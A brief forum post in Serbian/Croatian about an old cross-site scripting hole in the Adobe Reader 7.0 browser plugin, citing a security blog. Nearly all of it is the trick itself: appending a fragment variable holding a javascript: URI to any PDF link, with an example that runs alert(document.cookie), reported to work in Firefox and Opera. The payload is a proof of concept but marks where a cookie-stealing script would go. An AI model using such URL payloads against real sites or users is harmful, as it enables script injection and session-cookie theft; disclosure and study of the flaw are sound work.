Ja sam probao u Firefoxu i Operi - radi, u IE6 ne?!
AdobeReader 7.0.
Fora je da se doda na URL proizvoljna promenljiva sa javascriptom.
npr:
vvv.xxx.yyy/neki.pdf#bilosta=javascript
:alert(document.cookie) ;
Izvor:
http://blog.php-security.org/archive...DF-Plugin.html